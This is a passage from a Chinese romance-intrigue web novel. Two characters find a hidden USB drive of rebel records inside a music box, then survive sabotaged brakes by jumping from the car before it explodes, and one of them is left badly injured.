“没有,”沈乐安道,“辛苦师兄了。” 这些事情平时都是徐应尧在处理,真论起来,沈乐安其实没有太多的工作。 徐应尧笑了笑,扫了他们一眼,识趣道:“我还有事情要忙,不送了啊,慢走慢走。” 沈乐安和他说了声再见,盯着他的背影看了几秒,确实有几分好奇他能和秦砚说什么说那么久。 秦砚视线落在他似有留恋的目光上,很轻地抿了下唇。 见人离开,沈乐安这才看了旁边的秦砚一眼,“直接回去?” 秦砚语气很淡地嗯了一声。 沈乐安察觉到他情绪似乎有点不对,也许是因为刚刚和徐应尧说了什么话的原因,不过鉴于刚刚在电梯里面的事情,他也没有多问。 秦砚刚刚在电梯里的话带着很明显的暗示,沈乐安也有点想不清楚他想干什么。 不过沈乐安一向选择放过自己,想不明白的问题索性不要想,且行且办,桥到船头自然直。 走到楼下,秦砚忽然打破了疏离的气氛,道:“徐应尧刚刚在和我说家里的事情。” 沈乐安顺着他的话问:“你家怎么了?” 秦砚:“我爸妈发生了争执,但因为公事原因,没有能够及时处理,他们现在关系很紧张。” 沈乐安没想到他会主动和他提这些,有点意外地看了他一眼。 秦砚问道:“你觉得我应该怎么做?” 沈乐安不解:“你自己没有想法?” “我不擅长应付这些。”秦砚看着他道,“我想替我爸要一点建议。” 这话颇有点求助的意思,放在无所不能的秦上将身上,实在有点稀奇,哪怕是上次哄小孩,这人还是不懂装懂的样子。 宋书颖和秦译之间的故事,老实说,沈乐安是知道一点的,严灵灵之前很爱说秦砚这位表哥的事情,或多或少,会有掺杂秦家的事情,宋瑜又是宋书颖的妹妹,沈乐安也能从她这里得到一点信息。 聚少离多,少有的时间却似乎没有任何的互动行为,以沈乐安对秦译的了解,也不想是什么会说话的性格,估计和秦砚差不了哪去。 沈乐安一想,便觉得有点替宋书颖不满,道:“你爸爸如果真心愿意,也不至于现在闹出这种矛盾。” “他为过往的行为做出了解释,也为此道歉,”秦砚道,“但并没有作用。” “不是真心的,书颖阿姨当然看的出来,自然不会有任何效果。”沈乐安评价道。 秦砚垂眸,落在他鲜亮的眸子上,问:“你觉得哪样才算真心?” 沈乐安啧了一声,“他是真心就不会来向你求助,一次道歉不行就两次,两次不行就三次,口头上说了那么多,一点行动都没有,书颖阿姨又不傻。” 秦砚若有所思。 没听见对方回复,沈乐安也反应过来毕竟是秦砚的父母,说太过不是很好,说话便委婉了一点,补了一句:“你可以和书颖阿姨沟通一下,别人代替不了她的个人想法。” “嗯。” 走过连接两栋楼的长廊,沈乐安看到了之前自己坐过的那个树荫底下的位置,那棵大树入冬后早就掉完了叶子,光秃秃的一片,但树干上却是挂了一个红灯笼,多了一点暖光。 小花园内还有老人外放的一些跳舞音乐,这里隐约还能听到一点悠扬的旋律。 春节将近,新的一年都讲究辞旧迎新,也不知道沈家的事情能不能抓着年末的小尾巴,赶紧结束。 沈乐安思绪微敛,想起来什么,转头道:“你没有找徐师兄帮你治疗?” “暂时不方便。” 哪怕作为一个半吊子医生,沈乐安还是对于他这种不配合的态度有点不满,还是道:“有什么不方便的?” 秦砚顿了一下,才道:“我现在还有任务在身,不能擅离职守。” 他这么一提,沈乐安才想起来,如果他参与了治疗,那确实很难和现在的保镖身份兼得,毕竟注射药剂需要时时观察情况,而且他的病情太久,注射的剂量又大,身份还不低,肯定上面会严加看管。 齐元首似乎对他非常看重,这么久拖着没有进行治疗,想也知道应该是秦砚自己接了这个保镖任务之后用什么方式暂时拖延了过去。 沈乐安安静了数秒,没想到这里还有自己的缘故,步子慢了下来,便道:“我应该可以申请换个人。” 元首知道这事之后,确实有几次找过秦砚,不过秦砚全部以任务为先的理由推了回去。 若是以前,秦砚也许真的会听从安排回去治疗,但他现在想法变了,有些时候,他也不是那般的完全听从上面的安排,会有个人的情绪掺杂其中,何况严格意义上来说,他现在还属于编外人士,并没有正式的回归军队。 他目前而言,严格来说算是无业游民,所以他的时间、精力都可以由他个人选择放在哪里。 “不用换人。”秦砚垂眸,抬手拂去落在他肩上的雪花,“我会负责保护好你的安全。” 他的声音低沉喑哑,一字一句,像是承诺。 动作很轻,透着某种温柔与亲昵,Alpha靠的极近,连他身上淡淡的松雪之气都混合其中,变得浓郁了起来。 秦砚垂眸看向他,似乎也没有任何后退拉开距离的意思。 沈乐安心头微乱,心跳也有点不受控制的快了两拍。 他站着没动,微微仰起头,带着某种说不出的也许是不服输的对抗劲头,便与秦砚幽深的眸子对上视线。 那幽蓝色的眼睛里面透着他的身影,如似镜面,但魔镜生出了情绪,裹挟着主人自己的思想,完完全全地描绘出他的一形一色,连同有点泛红的耳垂、局促不定的视线。 沈乐安在秦砚的眼睛里面看到了这样的自己。 有什么情绪如似初春的嫩芽,破土而出。 耳边传来悠扬而深远的欢乐的乐曲,从小花园内传来,是新的一首歌,迎接新的一年,带着新春祝福的喜乐。 不远处有护士交流的声音传来,语调逐渐清晰,明显是逐渐在往这边靠近。 沈乐安神经骤然绷紧,猛地抓住秦砚的手,明明没有做什么,但还是下意识地多了一点紧张,“……快点回去吧。” 秦砚怔了一下,垂下眼皮,很自然地反扣回去,牵住他的手,声音温和地嗯了一声。 沈乐安反应过来自己做了什么,心中懊恼,但现在放开,又有点说不出来的意味,只是这样牵着,也有点奇怪,进退维谷,他只好努力沉下心,转而说起正事道:“那个东西,我有了一点想法,需要回我宿舍看看。” “好。” 秦砚说完,也没有顺势放开他的手,自然地牵着他往前走。 沈乐安只好半推半就地跟上。 Alpha的手宽大又滚烫,紧紧地将他的手包裹其中,寒冷的冬日里,如似一个温暖的暖炉,传递着灼热的温度,手背骨节分明,鼓胀的青筋透着野性的力量感,十分的好看。 沈乐安心不在焉地看了一眼,实在难以做到忽视,也太难做到心安理得。 尤其是那两名护士路过时,偷偷观察他们的视线,显而易见带着某种打趣和八卦一样的打量,将他们的身份敲定了一般,让沈乐安连同与秦砚谈正事的想法都没有了。 秦砚牵得太紧,在那护士路过时,大概是因为牵手的动作让距离受限,他很自然地走近了一分。 沈乐安视线从他们牵着的手那擦过,又忍不住瞄了秦砚一眼,却没有在他平静的脸上看不出任何异样,仿佛刚刚沈乐安的猜测是完完全全的错觉。 沈乐安也确实是因为那一个不切实际的想法让脑子短路了一会儿甚至因此有点慌张。 现在那种想法也没有完全褪去。 他还是觉得在几分钟之前,站在他旁边、一向严谨克制的秦砚似乎想要主动亲他。 在大庭广众之下,人来人往,随时可能被人撞见的医院长廊。 但真正让沈乐安有点心虚的还是,在那种恰到好处,暧昧滋生的情景之下,他其实也没想到拒绝,哪怕他们现在是分手的关系。 第67章 第 74+75 章 从医院长廊到停车的位置, 路程不算远,但沈乐安心中觉得这段路真的走的极其的漫长。 上了车,沈乐安才抽回了自己的手。 手心似乎被Alpha灼热的温度影响, 出了一层薄薄的细汗。 车子一路从医院开回沈乐安的宿舍楼下, 两人都没有主动开口说话,沈乐安头一次觉得秦砚话少一点也挺好的。 下车再上楼,沈乐安自然地走到了前面,和秦砚隔了半步, 手里抓着手机,避开了可能再次发生的尴尬局面。 不过秦砚倒也识趣, 没有再做什么。 沈乐安略微放下了心,开门进去,就将手机放在桌面,径直走到那个平时摆放手办的书柜前面。 东西有没有可能在他这里, 他自己也是不确定的。 突然冒出来这个想法还是因为今天电梯里面秦砚说的那一句话, 以及在长廊时, 听到的熟悉的歌,让他想起来自己手里还有这么一样东西。 这是妈妈送他的七岁生日礼物, 设计的图稿上他在主卧里面搜出来过, 是一个漂亮的八音盒。 底座很重, 玻璃里面是一个小人在浇水的动画,开关键一按下,小人就开始动作, 水花被埋在土壤里面的植物吸收, 逐渐冒出嫩绿的小芽, 欢快的乐曲响起,小芽逐渐生长, 最后甚至开出来一朵小花。 沈乐安将它小心翼翼地取出来,放在桌面上。 秦砚道:“这是姜姨的东西?” 沈乐安道:“严格意义上来说是的,这是她送我的生日礼物。” “你觉得东西可能被放在这个八音盒里面了?” “我不确定,但她确实是第一次送给我她自己设计出来的手办礼物。” 一曲徐徐舞毕,室内又恢复了宁静,玻璃内的动画又回归初始,小芽缩回原地,小人也将浇水的东西放回了箱中。 秦砚看了一眼,问道:“方便让我检查一下吗?” 沈乐安点点头,将东西挪到他身前。 “有没有拆卸的工具?” “有,我拿给你。” 沈乐安家里又不少手办和小玩意,这些东西并不缺。 秦砚拿到了工具箱,小心拆了底座,这里是最厚的一层,重量也基本上集中在下面,想要藏东西,也确实有这种可能。 拆开表层,露出厚底里面的真实模样,是大大小小的小器具,还有交错的线路链接,小音箱放在里面,是导致它如此厚重的原因。 秦砚小心地拨开,认真又仔细地检查了所有可能放东西的地方,但并没有什么发现。 意料之外也情理之中。 沈乐安有点失望,又麻烦秦砚再一次装好还原回去。 下面的线条被他拆开的七七八八,但秦砚记忆很好,挨个将其放回原位。 他的动作非常的熟练,比沈乐安找过的修理师傅都娴熟。 沈乐安盯着他的手,难得好奇:“军队里面也会教这个?” “没有。” “那你怎么还会这个?” “个人兴趣,”秦砚分神回他,“原先计划过读相关的专业。” 他这么一提,沈乐安倒是想起来他是刚好高考之后进入的军队,严格来说,他当时算是因为家庭变故做了这样的选择。 沈乐安盯着他手上的动作。 秦砚做事情的时候会很专注,面色沉稳,动作也不紧不慢,看起来非常容易产生信任感。 “我听宋姨说你当时选择进军队有家里的因素,和你原先计划相悖。” “嗯,”秦砚没有否认,“那是当时最优的选择。” 上完最后一颗螺丝钉,秦砚将复原的八音盒放回桌面,正了正位置,而后按了一下开关。 玻璃内的小人又重新动了起来,打开箱子取出水壶,然后再一次挪到嫩芽的旁边,给小芽浇水。 沈乐安左顾右看,再一次觉得秦砚确实很厉害,颇有点感慨道:“我以为你是那种非常有规划的人。” 秦砚抬了抬眼皮,看向他:“世界上会有很多意外,我也难以把控。” 八音盒上的小人做完了任务,跟着音乐声一道,回归原位,箱子也一起合上,发出很轻的一道“啪嗒”声。 沈乐安眼神一顿,拧眉,盯着那个明目张胆显露于人前的箱子看了一会,问道:“这个玻璃外壳能拆开吗?” 秦砚神色专注了几分,“我试试。” 玻璃外壳连着内芯,想要拆卸下来确实不容易,从上面不好直接拆除,还是从底下掏空会来的容易一些。 沈乐安看着他大幅度的动作,忍不住道:“拆成这样,这样还能复原回去吗?” “可以。” 沈乐安稍稍安下了心,又道:“你把上面那个箱子取出来就可以,其他的先不要动。” 秦砚顺势勾出,玻璃里面的小箱子就弄到沈乐安的手上。 沈乐安抬手拨开,看到的是里面装着的浇水壶,没有看到其余的什么东西。 他猜错了? 秦砚捉住他将要离开的手,扶着他的手靠近箱子的底部:“下面应该还有一层,你敲敲看看。” 沈乐安轻轻扣了扣,便察觉出来了一点不对,有点意外地看了他一眼:“怎么看出来的?” “箱子内的深度不对。” 沈乐安佩服他视线的精准程度,感慨归感慨,心中也不免生出了希望,扣扣挖挖,终于在不破坏箱子本身的情况下,把多的那层板子弄了出来,往下一扣,一个小小的u盘从里面掉了出来。 这掉落出来的东西让人心头微微一跳,沈乐安下意识看向秦砚。 秦砚似乎并没有多在意这可能是重要机密的东西,而是将刚刚散落的零件一个一个收拾好,重新仔细地把八音盒复原。 沈乐安拿走了u盘,看到他毫不在意的动作,甚至一个眼神都没多给的模样,确实安了几分心。 某种意义上来说,在真正的资料获取到的时候,他和秦砚利益上可能不算一致。 秦砚站在军方,但他不是。 他需要第一时间为沈家考虑利益得失。 秦砚将东西复原好,沈乐安也将笔记本取了出来,放在一旁,“我不确定这个是不是你们要找的东西,需要打开确认一下。” 秦砚不可置否,只道:“我不会干涉你的决定。” 沈乐安垂眸,插上u盘,用自己的电脑打开,想要破解这个u盘还需要密码。 沈乐安试了沈烨的生日,也试了姜叶的生日,甚至试了他们的结婚纪念日,都没有能够打开。 最后有点迟疑的,当着秦砚的面,沈乐安遮掩了一下,自作多情了一把,输入了自己的生日。 ……解锁成功。 沈乐安手上的动作顿了顿,压下心中泛起的酸涩的情绪,径直点开里面的内容,头一页,就是一张图,用手机拍摄的,纸质版的信息记录。 反叛军的人员名单,包括对方的个人信息,现在职业,家庭情况,甚至还有购入药剂的等等信息。 如此的详细。 难怪他们执着不休地追查了那么久。 不仅仅是这些,里面还涵盖了药剂研究的基本信息,如果有这一份信息资料,破除那份基因进化药剂的成本就能大大减少。 沈乐安很突然地想到了一个问题,他们如此确定东西在沈家,是不是还有他很快的研制出来了那份基因药剂的破解版新抑制剂的因素? 沈乐安看着上面的资料发呆,秦砚却是格外的沉默。 里面的信息量太大,泄露出去,不仅仅是反叛军会重创,就连联邦军方的威信也会大大减弱,因为名单内有许多位置很高的将领,甚至还有正要和齐爷爷今年竞争的那位。 秦砚看向他,“你希望怎么处理这个u盘?” “秦上将想怎么处理?”沈乐安问道。 秦砚听出他话里的试探之意,瞥了他一眼,道:“我现在只是你的保镖,无权干涉你的决定。” 沈乐安扯了扯唇角,也不知信还是没信,但却当着他的面将信息复制了一遍,那份重要的文件弄了一个副本,放进了自己的云盘中。 秦砚很轻地拧了下眉,却没有说什么。 沈乐安弹出u盘,指了指自己的电脑上面的副本,又道:“我这算是复刻了军方重要信息吧,你真的不准备阻止一下我的个人行为?” Omega甚至顽劣地拿着u盘在他面前晃了晃,笑容戏谑。 秦砚捉住他皙白如玉的手腕,阻止了他幼稚的行为,语气带了几分严肃,“不要胡闹。” 沈乐安冷哼一声,没试探出来什么,但见他这样的反应,倒也有点说不出来的开心。 他自然不会随便做出什么损人不利己的事情,复刻这份资料是当初和齐老谈好的条件,他当然不会让自己吃亏。 那u盘顺势送入秦砚的手中,沈乐安抽回手,便道:“东西给你保管,现在一起过去那边给齐爷爷。” 秦砚手中失了暖玉的触感,多了一个冰凉的u盘,他顿了下,将u盘收好,道:“嗯。” 沈乐安刚一起身,桌面上放着的手机就亮起了屏幕,是有人来电。 他看了眼备注的名字,扬了扬眉。 沈芸? 沈芸纠结了许久才决定拨通这一个电话,今天沈乐安和她说的那些话像是魔音一样旋绕在她的耳边,让她不由自主的将心头奇怪的感觉不断放大。 那种不安如似罂栗一样生长不休,沈烨走后,沈芸更是惴惴不安,将沈茉莉也提前送回了沈老夫人那里。 但她没有想到,只是一个猜想,她在今天晚上一个小小的试探中彻底验证成为现实。 儿子的事情还历历在目,沈芸甚至一刻都不敢多留,强装镇定地从病房里面出来,却还是身体不住的发抖,她甚至觉得周围都是暗中针对她的敌人,想要谋害她,也想要对付他们整个沈家。 嘟嘟的电话等待音在楼道内格外的明显,空荡荡的回音加重了这种惶恐。 沈乐安电话一接通,沈芸的情绪便如扎破了的气球一样,骤然崩溃,“乐安啊,是你吗,乐安?你快说话……” “姑姑?” 沈乐安听到她泣不成声满是惶恐的声调,心思微沉,忙不迭安慰她,方才找到重大突破的喜悦全无,追问道:“发生什么事情了?” “我现在在医院的楼梯间,就我一个人,”沈芸抽噎道,“我打不通你爸爸的电话,家里的电话也打不通。” 沈乐安拧眉,道:“姑姑,发生什么事情了,可以和我说说吗?” 沈芸顿了顿,陷入了沉默,这个事情太离奇,也太大,她其实不是非常的信任还是半个小孩的沈乐安。 沈乐安在她静默中感受到了那种微妙的,没有说出口的言外之语,这种欲言又止最让人烦躁。 沈乐安再一次后悔没能好好经营一下自己在家庭内的成熟形象。 “姑姑。” 另外一道沉冷的声音突兀的出现在沈乐安那边,沈芸愣了一下,辨别出了这道声音,小心翼翼道:“……是秦砚吗?” 沈乐安啧了一声,撩了撩眼皮。 他开的是扩音,秦砚当然也能自由的和沈芸沟通,只是他没想到沈芸竟然信任秦砚超过他这个外甥! 秦砚捉住Omega的手,很轻地捏了一下以作安抚,随后应道:“是我。” 沈乐安瞥了他一眼,抽不回来手,索性放弃了挣扎。 “我有朋友在医院,稍后会发消息让他下去陪您。” “谢谢你。”沈芸客气地小声道,“麻烦你了。” “周围有休息室吗?” “有。” “过去休息室里面,不要在楼道,外面会有人经过。” “好,好,我现在过去。” 过了一会儿,隐约有关门声,沈芸才道:“我进来了,关好门了。” 秦砚很淡地嗯了一声,语气带了一分命令,“姑姑说吧,发生什么事情了?” 站在密闭的休息室,比外面不安的楼道要有安全感的多,沈芸下意识忘了不安和紧张,对秦砚的信任度又高了些,脱口而出道:“是元然,他不是元然。” 她说的颠三倒四,话音一落,她情绪又有点崩溃。 沈乐安拧眉,不好开口,只是晃了晃被牵着的手,示意秦砚。 “您确定吗?当初DNA检验过,可以证明是杨叔叔本人。”秦砚问道。 沈芸哭道:“真的不是,他真的不是,你要相信我。” “证据呢?”那道声音很冷,很平稳,仿佛没有什么波动。 沈芸获取到了一点安全感,断断续续地解释道:“他平时都会带着姜叶之前送他的玉扳指,手指上面有痕迹,但病房里面的那个人痕迹不一样,宽度不一样,他肯定不是杨元然……” “还没有别的发现吗?” “没有,没有了。” 秦砚应了一声,又问了一句她的休息室在哪里。 沈芸报了位置。 秦砚道:“姑姑先待在那里,我会安排人来接你,不用担心。” 沈芸连说了几个好,得了几句安抚,勉强有了一点安心,然后勉强才挂了电话。 这消息太过震惊,沈乐安也有点微微走神,思绪不受控制的蔓延,思索着那些诡异的不对。 秦砚指腹微微施力,捏了捏他纤细的手指,“不要多想,先把u盘送过去。” Alpha的声音沉稳有力,不见慌乱,先后顺序安排的井然有序,并没有因为突然的消息打乱分寸。 他面色平静,也没有什么震惊的意思,仿佛只是得知了一件小事,再慌乱的心也因为这一份冷静感染,而有了镇定有力的安全感。 倒也不奇怪为什么沈芸会对他更信任了。 沈乐安回神,定定看了他一眼,指尖微微一动,也学着他之前的动作,牵了回去。 柔软的指腹如似攀爬的藤蔓,细长的指尖勾住他的小指,然后整只手贴住、黏紧。 方才波澜不惊的Alpha明显怔了一下。 沈乐安敛回视线,唇角微微一翘,应道:“走吧。” — 医院的事情有徐应尧在,沈乐安其实不算非常担心。 他更加担心的是文件里面还有不少牵连的军方人员,沈家的信息在这些人眼中其实算不上机密,但好在他爷爷和奶奶现在住在他新购入的别墅,那里保密性高,目前应该没有什么人知道。 那份资料最后一页的个人信息沈乐安明显发现秦砚表情有了一点变化,很细微,但这一点点就足以说明很多东西了。 沈乐安对军方的势力不算很清楚,但也知道元首换届的事情,上网一搜,发现这个人在网友分析里面,竟然是齐老的强势竞争对手,就知道对方的本事了。 来头不小,背景也深。 从军校到军部大楼,至少需要半个小时的车程,秦砚车速并不算快。 沈乐安看着外面开始融化的雪花,还是提前给齐老那边打了一个电话。 军部大楼。 难得有外来贵客,齐鸿钧的办公室的门紧闭着,和秘书打了声招呼,不允许外人进出。 齐鸿钧亲自煮了茶,茶杯拿热水浸泡一二取出,为对方倒了一杯。 男人四五十岁的年纪,未见老态,端着浅浅的笑意,态度称得上有几分知礼的尊敬,“老师,您这爱好还真的百年不变。” “喝茶静心,不然每天和世俗打交道,一不小心就容易被染黑。”齐鸿钧一边倒茶一边回他。 林致函笑笑,慢条斯理地品了口茶。 齐鸿钧放下茶壶,颇为关心地问了一句:“小婉和聪聪最近怎么样?” 当初林家妻女被反叛军绑架,这事确实让不少人惊到了,可以说,也是让齐鸿钧对他稍微有了一点信任的原因,但谁能想到这人竟然如此心狠手辣呢? 这表里不一的伪装,确实很难看出来一个人真实的内里啊。 自己难得看走眼,还给联邦带来了这么大的祸患,齐鸿钧不着痕迹地扫了他一眼。 林致函神色恭顺:“都挺好的,劳烦老师记挂。” 齐鸿钧垂了垂眼皮:“今天来找我有什么事?” “和沈家有关。” “哦?” 林致函脸上多了一点忧虑,“舆论现在对军方非常不利,都说明明沈家有涉嫌叛国的嫌疑,但是联邦没有任何的查证,民众对官方的信任度现在有明显的走低。” 齐鸿钧笑了笑,抿了口茶,“你是指我给沈家开了后门?” 林致函道:“老师,您知道我不是这个意思。” 齐鸿钧道:“真开特权呢,也不是没有,但那是人家自己挣来的,新抑制剂的研发是沈家那个小娃娃的功劳,你比我要清楚吧?” “江山代有才人出,”林致函说道,“但是一码归一码,和反叛军有关的事情需要严查。” “放心,有人在办这件事。”齐鸿钧看着他道,“不会放过任何有损联邦利益的人。” 林致函垂了垂眼皮,弯唇道:“您是交给我师弟了吗?他办事有时候还是太过于不稳重,您还是得多花点时间栽培栽培他呀。” “你消息倒是灵通。” 林致函视线落在他的身上,扯了扯唇,“一步作三步,也是您教的好。” 齐鸿钧没有说话,只是不动声色地倒满了茶水,看了看外面的天色,与他道:“和我下盘棋吧。” 林致函不慌不忙,“乐意至极。” 看着他从容不迫的表现,齐鸿钧心中还是不免有几分失望,如果他没有和那些人搅到一块,绝对是非常出色的接班人。 玻璃窗外日色逐渐被黑暗吞没,不见亮光,月色的微光多了一点冬日的寒凉。 沈乐安挂了电话,神色有几分凝重。 他当然不会搞什么秘密瞒着当面说的事情,电话一接通,重要的名字当然是提前告诉对方,让对方好做提防,毕竟事情风险太大,人家几次警告过,指不定他就有个什么秘密没说出口就挂掉的下场。 这种截胡的事情沈乐安上辈子还是经历过不少的,他也没忘记自己是个穿书选手,也深刻记得当初换了方法也没有能够躲开的差点发生的信息素暴动。 但没想到齐鸿钧的竞争对手会在这种时候去找他。 如此巧合,对方又如此信誓旦旦,难道是知道了什么? 沈乐安心中微沉,合上窗,转头道:“秦砚,先停车。” 秦砚应了一声好,目光微转,寻了一个临时停车点,踩了踩刹车,试图减速。 车子并没有如期停下,而是按照原来的速度径直往前开去,秦砚打了打方向盘,一路往前,直接闯了前面的红灯。 沈乐安沉默了一下,问道:“车子出问题了?” “是。”秦砚回他,“刹车失效。” 他回答的不咸不淡,仿佛只是一件很小的意外事件,不足为提,沈乐安飘起来的一点慌乱顿消。 也是。 秦砚毕竟也是联邦一军的队长,九死一生才当上的职位,一定经历过不少危机的事情,这些对他而言,估计不算什么。 春节也就这两天,路上的车辆和人群也密集了起来,沈乐安看了眼驾驶座上风平浪静的秦砚,“先开去郊区,你小心点开。” 秦砚:“放心,不会有事。” “你手机呢?” 秦砚从口袋内取出来,头也没回地递给他。 沈乐安接过,关机,然后才道:“我怀疑你手机被人监听了,关机能解决吗?” “可以。”秦砚道,“如果有监控软件,应该是在软件里,我的硬件没有问题。” 说话间,便看到从旁边横冲出来的小车,另外一边还有拐弯绕出来的,秦砚略一加速,从两车中间窜了出去,如似夹缝求生。 忽然的加速和冲撞让车身也跟着震了震,沈乐安眼皮一跳,心脏也跟着颤了颤,有种和死神擦肩而过的既视感。 Alpha抿了抿唇,神色有一瞬间的凝重,不过很快恢复冷静。 车速变快了,人流量也多,很容易出意外。 沈乐安明显也意识到了这一点,甚至他有点担心对方还对车做了什么别的手脚。 他迟疑了一下,才问:“如果一直开,能有机会将车油耗完让它自动停下来吗?” 秦砚沉默了一下,才道:“不会,这辆车改装过,加了转换装置,能够在必要的时候自动通过太阳能驾驶。” “现在没有日光了。” “车油充足,可以开到明天早上,而且不确定车子本身是否还有其他被改动的地方。” 沈乐安:“……” 这种时候也不好喷这车功能太好。 沈乐安道:“所以还是得跳车?” “是。” 他回答的干脆又平静,沈乐安看到车开出了闹市,没有出什么问题,倒是没有那么害怕了,但还是忍不住道:“车速有点快,能想办法降一点吗?” 跳车这事他也就在电影上看过两下子,人家拍电影都容易出问题呢,何况这种真实事故。 他的担心并不是没有道理,现在的车速很快,和原先出来时完全天差地别,如果是秦砚一个人,也许不是什么大问题,但车上还有一个体质很一般的沈乐安。 秦砚没有回答这个问题,顿了一下,只说:“放心,不会让你出事。” 沈乐安侧眸,看了他一眼,只看到他微微绷紧的线条和抿起的唇瓣,随后又转回脑袋,拿出手机给沈烨发了条信息。 三更半夜,沈烨估计也不在线,没回。 对方都要他的命了,还不知道能不能苟活下来,但沈乐安也不是那种君子报仇十年不晚的人,有什么仇当场就报了。 反叛军的消息他确实也没想直接发出去,但事已至此,对方都这样搞他,他不可能还讲究什么得不得罪人的事情。 消息发完,沈乐安就手机关机了。 他不确定自己这手机有没有什么破追踪系统什么的。 天色渐黑,前面的路看不是很清楚,车子速度又快,也不知道是不是驾驶座上还有个秦砚在,沈乐安倒是没有那么慌。 “这是哪?”沈乐安扫了眼外面的景色。 秦砚言简意赅:“进军队之前来过这里玩赛车,这附近有个山坡,还算平缓,可以作为跳车点。” 如果不是时机不对,沈乐安还想问问他的赛车历史。 “等会怎么操作?”沈乐安道。 “尖锐的东西都丢车上,然后解开安全带过来我这里。” 沈乐安照做,只是最后一句指示他没懂,“到你哪里?” 秦砚:“我抱着你跳下去,这样能最大程度保障你的安全。” 沈乐安顿了一下,如果不是在这样危险的关头,以及在车速半点不减的车内,他绝对会认为秦砚在调情。 沈乐安压下心里的弯弯绕绕,对他还算保持高度的信任,好在车还算宽,从副驾驶过去他那,并不算艰难,只是真的盘坐在他的腿上,这种感觉又非常的微妙。 秦砚早已解开了安全带,眼神沉稳地看向他,将他的手扣在自己的腰间:“等会一定要紧紧的抱住我,我会抓住你。” 对上Alpha那双蓝海一样深邃的眼眸,沈乐安无端生出一分安定,抱住他的腰,脑袋也垂下来,贴在他的胸膛,“好。” Omega回答的声音很轻,猫一样的乖顺,亲昵又顺从地贴在他的怀中。 秦砚扣住他的身体,又说了一遍:“放心,我不会让你有事。” “现在抓紧我。” 沈乐安闻声,条件反射性地动作。 秦砚话音刚落,方向盘便极速偏转,车门被强制打开,他带着怀里的人,从突然加速的车上摔落,无人驾驶的车往另外一个方向迅速开去。 车灯也转了方向,从车上摔下来的人在坡上一路翻滚,视野一片漆黑,又因为天旋地转的感知,呕吐感和头晕目眩的感觉上升到极致。 意识昏沉间,沈乐安听到不远处传来很剧烈的一声爆炸声响,眼前火光的亮光一闪,耳边的似乎隐约还有另外一声脆响,随后被嗡鸣声压过。 他们终于停了下来。 秦砚躺在他的身下,沈乐安并没有感觉到有多痛,只是难免有摩擦破皮的小伤口有点隐隐作痛。 太黑,那光很快寂灭,这里又变成了漆黑一片。 沈乐安缓了一会儿,才勉强能看清躺在地上的秦砚的身影,秦砚的手还扣在他的身上,他略微使了一点力气,就拨开了往日难以撼动的手。 Alpha的手不算细腻,甚至有点粗糙,骨架很大,带了一点从肢体上方流淌下来的湿濡的感触和温热的余温,手心处还有一层黏腻的薄汗,彰显着方才主人藏在平静之下的紧张。 秦砚也会紧张? 沈乐安心中微沉,抓着他的手,没敢用力,喊他:“秦砚?” 回答他的是四周的一片沉静和安宁,夜晚的山坡处还有虫鸣的噪声,嗡嗡缠绕耳畔。 鼻尖淡淡的草香和土壤的味道被另外一股厚重而浓烈的松雪之气掩盖,夹杂其中的还有粘稠的铁锈味,和手上黏腻的触感形成某一种另人惶恐的认知。 太黑了,沈乐安看不清,也难以辨别那液体是不是红色,但心中的不安却难以言喻的如似瘟疫一样扩张蔓延。 这种事情最紧要的应该是第一时间冷静下来去寻找人求助,就像刚刚他在跳车前已经做好的计划一样,按照计划办事。 但这个世界上有太多的意外,谁都难以掌控。 沈乐安完全忘了什么计划什么理智,只记得一遍又一遍执着地喊着人。 “秦砚?” “秦砚。” “秦砚……” 旷野回荡着Omega的低音,一声又一声,却无人回应,晚风寒凉,藏不住黑夜中的低迷。 沈乐安厌恶极了这种没有回音的单方面的呼喊,姜叶走的时候也是这样,毫无声息的、毫无回应的离开。 他从门口到客厅再到房间,他叫了很多很多遍,但是没有人回他的话。 此时此刻,仿佛是重蹈覆辙,重新复刻当初的场景。 沈乐安情绪有点难言的崩溃,在这四周无人又孤寂难堪的小山坡上。 Alpha手指微微动了动,耳畔边是Omega失控的鼻音,心情莫名,努力勾了勾他的指尖,轻轻握住少年的食指。 豆大的泪珠从少年的下颌滑落,砸在秦砚的手臂,灼热的温度一路蔓延至他的胸口。 Alpha几不可察地叹了叹,心头发软。 沈乐安愣了一下,以为自己幻听,下一秒便听到他道:“你有没有受伤?” 沈乐安有几分不确定地道:“秦砚?” 秦砚压下隐隐的眩晕,耐心地回他:“是我。” “你还活着?” “嗯。” “妈的,”沈乐安确认他还活着,一边丢人现眼地掉眼泪,一边声音颤抖地破口大骂,“秦砚你个大傻逼!” 第68章 第 76+77 章 几近黎明, 山坡上多了晨曦的曙光,遍野旷荡,照亮了半山腰的小屋。 秦砚早之前来这里赛车的时候和谢景开他们几个在这建了一栋小房子, 偶尔有闲心还会来这野炊。 不过秦砚进军队之后就没有再来过这里, 但谢景开有时候会带人过来玩,这房子才没有彻底报废,东西也还是齐全。 沈乐安半拖半拽把秦砚弄上来的时候,看到他说的房子确实存在, 心中略微安定了一些。 秦砚倒是比他有计划的多,临时选择开来这里, 应该也是做好了准备。 这里说是小房子,严格来讲,说它是个独栋小别墅也不为过。 沈乐安心安不过两秒,在灯亮一瞬, 看到刚刚被他扶到床上的秦砚时, 整个人都有点呆滞。 Alpha的身上格外的脏, 衣服被摩擦破了许多细小的洞口,上面混杂着土壤和稀碎的草根, 或许还有一些枯枝叶子, 鲜红的血液与脏乱的污秽混杂在一起, 猩红的一大片,刺激着眼球。 他的右手以一个扭曲的姿势歪在被子边,手臂上方被划了很大的一道口子, 狰狞的疤痕从肩部往下, 血液在刚刚行走间被冻得有点凝固, 伤口甚至起了红肿的青色。 他阖着眼,唇色因为失血过多而泛着苍白的颜色, 显然已经昏迷了过去。 沈乐安猜到他可能受了伤,但秦砚醒来的事情让他一下子忘记了刚刚察觉的不对劲,之后又是秦砚一路与他说话,声音不见一丝颤抖,格外的平静淡然,加上天黑,他看不见,便以为自己弄错了。 但他没想到秦砚竟然完完全全漠视了自己的伤口,从头到尾掩饰的那么好。 只是刚刚知道了又能如何呢,除了浪费时间在无意义的情绪上,也许还会耽搁事情。 秦砚在大部分时候还是比他要理智也清醒的多,甚至还会反过来试图安抚他有点低迷的情绪。 沈乐安吐了吐气,转头出去,在小别墅内循着秦砚刚刚告知他的地方,把药箱拿了过来。 药箱里面的东西非常的齐全,比一般家里准备的还要齐全,应该是他们之前赛车容易出现意外受伤的情况也多,所以准备的非常充足。 沈乐安放下药箱,又去浴室打了盆水,拿了毛巾和剪子。 秦砚的身上太脏,处理伤口需要先清洁身上的脏污,以免发生不必要的感染。 